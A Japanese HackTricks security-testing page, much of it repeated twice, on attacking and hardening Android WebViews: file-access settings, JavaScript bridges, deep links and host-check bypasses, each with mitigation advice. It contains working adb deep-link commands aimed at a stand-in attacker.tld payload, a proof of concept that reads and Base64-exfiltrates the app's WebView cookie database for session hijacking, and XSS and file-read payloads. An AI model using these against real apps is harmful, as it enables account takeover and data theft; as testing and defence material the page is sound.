WebView 攻撃

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WebView の設定とセキュリティに関するガイド

WebView の脆弱性の概要

Android 開発において重要な点の一つは、WebView の正しい扱いです。本ガイドは、WebView 使用に伴うリスクを軽減するための主要な設定とセキュリティ実践を示します。

WebView Example

WebViews におけるファイルアクセス

デフォルトで、WebViews はファイルアクセスを許可します。この機能は setAllowFileAccess() メソッドで制御され、Android API level 3 (Cupcake 1.5) 以降で利用可能です。android.permission.READ_EXTERNAL_STORAGE パーミッションを持つアプリは、file URL スキーム(file://path/to/file)を使って外部ストレージのファイルを読み取ることができます。

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: この非推奨機能は file URL からのクロスオリジンリクエストを許可しており、潜在的な XSS 攻撃の原因となる重大なセキュリティリスクを抱えていました。Android Jelly Bean 以降をターゲットにするアプリではデフォルトで無効(false)です。
  • この設定を確認するには getAllowUniversalAccessFromFileURLs() を使用します。
  • この設定を変更するには setAllowUniversalAccessFromFileURLs(boolean) を使用します。
  • File Access From File URLs: こちらも非推奨で、他の file スキーム URL からのコンテンツアクセスを制御していました。Universal Access 同様、セキュリティ強化のためデフォルトは無効です。
  • 確認には getAllowFileAccessFromFileURLs() を使用し、設定には setAllowFileAccessFromFileURLs(boolean) を使用します。

安全なファイル読み込み

ファイルシステムへのアクセスを無効にしつつ、assets や resources へのアクセスを維持したい場合は setAllowFileAccess() を使用します。Android R 以降ではデフォルトは false です。

  • getAllowFileAccess() で確認できます。
  • setAllowFileAccess(boolean) で有効/無効を切り替えます。

WebViewAssetLoader

WebViewAssetLoader クラスはローカルファイルを読み込むための現代的なアプローチです。ローカルの assets や resources へは http(s) URL を用いてアクセスし、Same-Origin ポリシーに沿うため CORS の管理が容易になります。

loadUrl

これは WebView で任意の URL を読み込む際によく使われる関数です:

webview.loadUrl("<url here>")

もちろん、潜在的な攻撃者がアプリケーションが読み込むURLを制御できてはなりません。

JavaScript と Intent スキームの処理

  • JavaScript: WebViewsではデフォルトで無効になっており、setJavaScriptEnabled()で有効化できます。適切な保護なしにJavaScriptを有効にするとセキュリティ脆弱性を招く可能性があるため注意が必要です。
  • Intent スキーム: WebViewsはintentスキームを扱うことができ、慎重に管理されないとエクスプロイトにつながる可能性があります。例として、公開されたWebViewパラメータ “support_url” が悪用され、cross-site scripting (XSS) 攻撃を実行される脆弱性がありました。

Vulnerable WebView

adb を使った悪用例:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android は WebView 内の JavaScriptネイティブな Android アプリの機能 を呼び出せる機能を提供します。これは addJavascriptInterface メソッドを利用して実現され、JavaScript とネイティブな Android 機能を統合する、いわゆる WebView JavaScript bridge です。このメソッドは WebView 内のすべてのページが登録された JavaScript Interface オブジェクトにアクセスできるため、これらのインターフェースを通じて機密情報が露出するとセキュリティリスクになります。注意が必要です。

  • 特に注意が必要です: Android versions below 4.2 をターゲットとするアプリは、reflection を悪用した malicious JavaScript による remote code execution を許す脆弱性があるため。

JavaScript Bridge の実装

  • JavaScript interfaces はネイティブコードとやり取りでき、クラスのメソッドが JavaScript に公開される例のように動作します:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView にインターフェースを追加することで有効になります:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript を通じた潜在的な悪用(例えば XSS attack による)は、公開されている Java methods の呼び出しを可能にします:
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軽減するために、JavaScript bridge の使用を APK に含まれるコードに限定し、リモートソースからの JavaScript の読み込みを防いでください。古いデバイスでは、minimum API level を 17 に設定してください。

Reflection-based Remote Code Execution (RCE)

  • 文書化された方法により、特定のペイロードを実行することで reflection による RCE を達成できます。しかし、@JavascriptInterface アノテーションは不正なメソッドアクセスを防ぎ、攻撃面を限定します。

Remote Debugging

  • Remote debuggingChrome Developer Tools によって可能で、WebView コンテンツ内での対話および任意の JavaScript 実行を可能にします。

Enabling Remote Debugging

  • Remote debugging はアプリケーション内のすべての WebView に対して次の方法で有効化できます:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケーションの debuggable 状態に応じてデバッグを条件付きで有効にするには:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

任意のファイルを外部に送信する

  • XMLHttpRequest を使用して任意のファイルを外部に送信する方法を示す:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview 攻撃

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Android 開発において重要なのは WebViews を正しく扱うことです。本ガイドでは、WebView 利用に伴うリスクを軽減するための主要な設定とセキュリティ対策を解説します。

WebView Example

File Access in WebViews

デフォルトでは、WebViews はファイルアクセスを許可します。この機能は setAllowFileAccess() メソッドで制御され、Android API level 3 (Cupcake 1.5) から利用可能です。android.permission.READ_EXTERNAL_STORAGE 権限を持つアプリは、file URL スキーム(file://path/to/file)を使用して外部ストレージのファイルを読み取れます。

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: この非推奨機能は、file URL からのクロスオリジンリクエストを許可していました。これにより XSS 攻撃の危険性が高まり、重大なセキュリティリスクを招きます。Android Jelly Bean 以降をターゲットとするアプリではデフォルトで無効(false)です。
  • To check this setting, use getAllowUniversalAccessFromFileURLs().
  • To modify this setting, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: この機能も非推奨で、他の file スキーム URL からのコンテンツへのアクセスを制御していました。universal access と同様に、セキュリティ強化のためデフォルトは無効です。
  • Use getAllowFileAccessFromFileURLs() to check and setAllowFileAccessFromFileURLs(boolean) to set.

Secure File Loading

ファイルシステムへのアクセスを無効にしつつ assets や resources へアクセスする場合は、setAllowFileAccess() を使用します。Android R 以降ではデフォルトが false です。

  • Check with getAllowFileAccess().
  • Enable or disable with setAllowFileAccess(boolean).

WebViewAssetLoader

The WebViewAssetLoader class はローカルファイル読み込みの現代的アプローチです。ローカルの assets や resources へは http(s) URLs を用いてアクセスし、Same-Origin policy に準拠するため CORS の管理が容易になります。

loadUrl

これは WebView で任意の URL を読み込むために一般的に使用される関数です:

webview.loadUrl("<url here>")

もちろん、潜在的な攻撃者がアプリケーションが読み込もうとしているURLを制御できてはいけません。

internal WebView への Deep-linking (custom scheme → WebView sink)

多くのアプリは user-supplied URL を in-app WebView にルーティングする custom schemes/paths を登録します。deep link が exported (VIEW + BROWSABLE) の場合、攻撃者はアプリに任意の remote content をその WebView コンテキスト内でレンダリングさせることができます。

典型的な manifest パターン(簡略化):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

一般的なコードフロー(簡略化):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adb経由の攻撃パターンとPoC:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

影響: リモートページはアプリのWebViewコンテキストで実行される(cookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings)。

調査のヒント:

  • 逆コンパイルされたソースをGrepして getQueryParameter("url")loadUrl(WebView sinks、および deep-link handlers(onCreate/onNewIntent)を探す。
  • マニフェストを確認し、後でWebViewを起動するActivityにマッピングされる VIEW+BROWSABLE フィルタや custom schemes/hosts をチェックする。
  • 複数の deep-link パス(例: “external browser” パス vs. “internal webview” パス)があるかを確認し、アプリ内でレンダリングされる方を優先する。

検証前に JavaScript を有効化する(チェック順バグ)

よくあるハードニングのミスは、対象URLの最終的な許可リスト/検証が完了する前に JavaScript を有効化したり緩い WebView 設定を適用したりすることです。検証がヘルパー間で一貫していないか遅すぎる場合、攻撃者の deep link が次の状態に到達する可能性があります:

  1. WebView の設定が適用される(例: setJavaScriptEnabled(true))、および
  2. 信頼されていない URL が JavaScript 有効で読み込まれる。

バグのパターン(擬似コード):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

なぜ悪用可能か

  • 正規化の不一致: ヘルパーがURLを分割/再構築する方法が最終チェックと異なり、悪意のあるURLが悪用できる不一致を生む。
  • 処理順序の誤り: ステップ2でJSを有効にするとWebViewインスタンス全体に適用され、後で検証に失敗しても最終ロードに影響を与える。

テスト方法

  • 初期チェックを通過してWebViewの設定箇所に到達するdeep-linkペイロードを作成する。
  • adbを使用して、あなたが制御するurl=パラメータを渡すimplicit VIEW intentsを送出する:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

exploitationが成功すると、payloadはアプリのWebView内でJavaScriptを実行します。そこからexposed bridgesの有無を調べます:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

防御の指針

  • 一度正規化し、単一の信頼できるソース(scheme/host/path/query)に対して厳密に検証する。
  • すべての allowlist チェックが通り、信頼できるコンテンツを読み込む直前にのみ setJavaScriptEnabled(true) を呼び出す。
  • 信頼されていないオリジンに @JavascriptInterface を公開するのは避け、オリジンごとの制御を優先する。
  • 信頼されたコンテンツと信頼されていないコンテンツに対して、デフォルトで JS を無効にした per-WebView インスタンスを検討する。

JavaScript と Intent Scheme の処理

  • JavaScript: WebView ではデフォルトで無効で、setJavaScriptEnabled() で有効にできる。適切な対策なしに JavaScript を有効にするとセキュリティ脆弱性を招く恐れがあるため注意が必要。
  • Intent Scheme: WebView は intent スキームを処理でき、適切に管理しないと悪用につながる可能性がある。ある脆弱性の例では、公開された WebView パラメータ “support_url” が悪用され、クロスサイトスクリプティング (XSS) 攻撃を実行される可能性があった。

脆弱な WebView

adb を使用した悪用の例:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Androidは、WebView内の JavaScript がネイティブなAndroidアプリの機能を呼び出せる機能を提供します。これは addJavascriptInterface メソッドを利用して実現され、JavaScriptをネイティブなAndroid機能と統合するもので、WebView JavaScript bridge と呼ばれます。このメソッドはWebView内のすべてのページから登録された JavaScript Interface オブジェクトにアクセスできるため、これらのインターフェースを通じて機密情報が露出するとセキュリティリスクになりますので注意が必要です。

  • Android 4.2未満をターゲットにするアプリでは、悪意のある JavaScript が reflection を悪用してリモートコード実行を引き起こす脆弱性があるため、特に注意が必要です。

Implementing a JavaScript Bridge

  • JavaScript interfaces はネイティブコードと相互作用でき、クラスのメソッドが JavaScript に公開されている例のように動作します:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView にインターフェースを追加することで有効になります:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript を介した潜在的な悪用(たとえば XSS 攻撃によって)は、公開された Java メソッドの呼び出しを可能にします:
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軽減するため、JavaScript bridge 使用を APK に同梱されたコードに限定し、リモートソースからの JavaScript の読み込みを防いでください。古いデバイスでは minimum API level を 17 に設定してください。

dispatcher-style JS ブリッジの悪用 (invokeMethod/handlerName)

一般的なパターンは、単一のエクスポートされたメソッド(例: @JavascriptInterface void invokeMethod(String json))が、攻撃者制御の JSON を汎用オブジェクトにデシリアライズし、提供された handler name に基づいてディスパッチする、というものです。典型的な JSON 形式:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

リスク: 登録されたハンドラが攻撃者データに対して特権操作を行う(例: 直接ファイル読み取り)場合、handlerName を適切に設定して呼び出すことができます。結果は通常、evaluateJavascript および callbackId でキー付けされたコールバック/Promise 機構を介してページコンテキストに返されます。

Key hunting steps

  • 逆コンパイルして addJavascriptInterface( を grep し、ブリッジオブジェクト名(例: xbridge)を確認する。
  • Chrome DevTools (chrome://inspect) の Console にブリッジオブジェクト名を入力(例: xbridge)して公開されているフィールド/メソッドを列挙する。invokeMethod のような汎用ディスパッチャを探す。
  • getModuleName() を実装しているクラスや登録マップを検索してハンドラを列挙する。

Arbitrary file read via URI → File sinks (Base64 exfiltration)

ハンドラが URI を受け取り、Uri.parse(req.getUri()).getPath() を呼び出し、new File(...) を作成して許可リストやサンドボックスチェックなしに読み取る場合、アプリのサンドボックス内で任意のファイル読み取りが可能になり、setAllowFileAccess(false) のような WebView 設定を回避します(読み取りはネイティブコードで行われ、WebView のネットワークスタック経由ではありません)。

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

WebView 権限ゲートのバイパス – endsWith() によるホストチェック

権限の決定(JSB-enabled Activity の選択など)はしばしばホストの許可リストに依存します。欠陥のあるパターンは次のようなものです:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

等価論理(ド・モルガンの法則):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

これはオリジンチェックではありません。多くの意図しないホストが第二の条件を満たし、信頼できないドメインを特権的な Activity に通してしまいます。scheme と host は厳密な allowlist(完全一致またはドット境界を用いた正しいサブドメインチェック)に照らして常に検証してください。endsWith のようなトリックは避けてください。

javascript:// 実行プリミティブ(loadUrl 経由)

特権的な WebView に入ったら、アプリは時として次のようにしてインライン JS を実行します:

webView.loadUrl("javascript:" + jsPayload);

もしそのコンテキストで内部フローが loadUrl("javascript:...") をトリガーすると、外部ページが通常は許可されない場合でも、注入されたJSは bridge access で実行されます。Pentest steps:

  • アプリ内で loadUrl("javascript:evaluateJavascript( をgrepする。
  • permissive deep link chooser を利用して特権付きWebViewへのナビゲーションを強制し、それらのコードパスに到達できるか試す。
  • このプリミティブを使ってディスパッチャー(xbridge.invokeMethod(...))を呼び出し、機密ハンドラに到達する。

Mitigations (developer checklist)

  • Strict origin verification for privileged Activities: スキーム/ホストを正規化して明示的な allowlist と比較する。endsWith ベースのチェックは避ける。適用可能な場合は Digital Asset Links を検討する。
  • Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
  • filesystem-capable handlers を削除するか厳重に保護する。生の file:// パスより content:// を allowlists/permissions と組み合わせて使うことを推奨する。
  • 特権コンテキストでは loadUrl("javascript:") を避けるか、強力なチェックで制限する。
  • setAllowFileAccess(false) は bridge 経由のネイティブなファイル読み取りから保護しないことを忘れない。

JSB enumeration and debugging tips

  • Chrome DevTools Console を使うために WebView のリモートデバッグを有効にする:
  • アプリ側(デバッグビルド): WebView.setWebContentsDebuggingEnabled(true)
  • システム側: LSPosed のようなモジュールや Frida スクリプトで、リリースビルドでもデバッグを強制的に有効化できる。Cordova WebViews 向けの Frida スニペットの例: cordova enable webview debugging
  • DevTools で bridge オブジェクト名(例: xbridge)を入力すると、公開メンバを確認したりディスパッチャーを探査できる。

Reflection-based Remote Code Execution (RCE)

  • ドキュメント化された手法では、特定のペイロードを実行することで reflection を通じて RCE を達成できる。ただし @JavascriptInterface アノテーションは未承認のメソッドアクセスを防ぎ、攻撃面を限定する。

Remote Debugging

  • Remote debuggingChrome Developer Tools で可能で、WebView コンテンツ内での対話や任意の JavaScript 実行を可能にする。

Enabling Remote Debugging

  • アプリ内のすべての WebView に対してリモートデバッグを有効にするには:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケーションの debuggable 状態に基づいてデバッグを条件付きで有効にする:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

任意のファイルを外部に持ち出す

  • XMLHttpRequestを使用して任意のファイルを外部に持ち出すデモ:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

よくある脆弱性は、外部から渡された Intent の extra に含まれる攻撃者制御のデータを読み取り、JavaScript が有効な状態で loadData() を使って直接 WebView に注入することです。

Vulnerable pattern (exported Activity reads extra and renders it as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

その Activity が exported(または exported proxy 経由で到達可能)であれば、悪意のあるアプリは data extra に HTML/JS を渡して reflected XSS を引き起こすことができます:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

影響

  • アプリのWebViewコンテキスト内で任意のJS実行: @JavascriptInterfaceブリッジを列挙/利用し、WebViewのクッキー/ローカルストレージへアクセス、設定に応じてfile://やcontent://へピボットする。

緩和策

  • Intent由来の入力はすべて信用しない扱いにする。Escape (Html.escapeHtml) するかHTMLを拒否する;信頼できないテキストはHTMLではなくテキストとしてレンダリングすることを優先する。
  • JavaScriptは厳密に必要な場合以外無効にする。信頼できないコンテンツに対してWebChromeClientを有効にしてはいけない。
  • テンプレート化されたHTMLをレンダリングする必要がある場合は、安全なbaseとCSPを指定してloadDataWithBaseURL()を使用する;信頼済み/未信頼のWebViewsを分離する。
  • Activityを外部に公開しないか、不要な場合は権限で保護する。

関連

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする